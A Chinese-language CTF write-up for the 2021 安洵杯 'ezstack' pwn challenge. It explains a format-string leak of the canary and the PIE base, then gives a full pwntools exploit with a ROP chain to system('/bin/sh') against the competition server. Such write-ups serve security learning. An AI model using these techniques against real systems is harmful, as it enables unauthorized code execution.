2021-安洵杯-pwn ezstack


ezstack

  1. 查看保护

    发现是64位保护全开。

  2. 拖进ida查看

    可以看到明显的格式化字符串漏洞和栈溢出
    我们还可以发现有后门函数,但是不能利用,但也给了system的plt,可以调用。

  3. 我们先利用格式化字符找到canary的位置(绕过canary保护)

    我们可以看到格式化字符串偏移是8,如何计算canary的偏移?
    如果canary和格式化字符串漏洞中的变量在同一个栈上,则可以这样计算canary:变量大小减去canary的大小在除以8(32位除以4,64位除以8)就是canary的偏移,(0x20-0x8)/8=3。那格式化字符串的偏移加上canary的偏移就可以利用格式化字符串获得canary的值。


    只要我们在payload中添加我们获取的canary就可以绕过canary保护了

  4. 我们来绕过pie(我说的方法可能只有在此题中有用,不解之处先学习如何绕过pie)

通过上图可以看到在我们泄露完canary后,可以发现在%11$p的下5个偏移是__libc_start_main,获得他再减去main函数的地址后三位(为什么是后三位,因为pie保护不会随机后三位)
构造payload='%11$p-%16$p'

用获取到的地址减去main的后三位就获得了基址。

我们获得基址:0x55555540000
之后我们只需要基址加上各个函数的后三位就可以或的函数的地址了

  1. exp
点击查看代码
#-*- coding: UTF-8 -*- 
from pwn import *

#p=process("./ezstack")

p=remote("47.108.195.119",20113)

payload="%11$p-%17$p" #为什么这里是17呢,在本地是16,而在远程的时候偏移就是17了
#8 canary=11
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16) #截取canary地址
print("canary:"+hex(canary))
p.recvuntil('-0x')
libc_start_main=int(p.recv(12),16)-0x0000000000009DC #获取main的基址
print("libc_start_main:"+hex(libc_start_main))
#gdb.attach(p)

pop_rdi=0x0000000000000b03+int(libc_start_main)
system=0x000000000000810+int(libc_start_main) #直接在ida中查看system的plt地址
binsh=0x0000000000000b24+int(libc_start_main) #利用ROPgadget --binary ezstack --string "/bin/sh" 找到地址
payload="a"*(0x20-8)+p64(canary)+"a"*8+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("--+--",payload)

p.interactive()
(为什么不写详细呢,实力有限大家见谅 ╰(●’?’●)╮)
pwn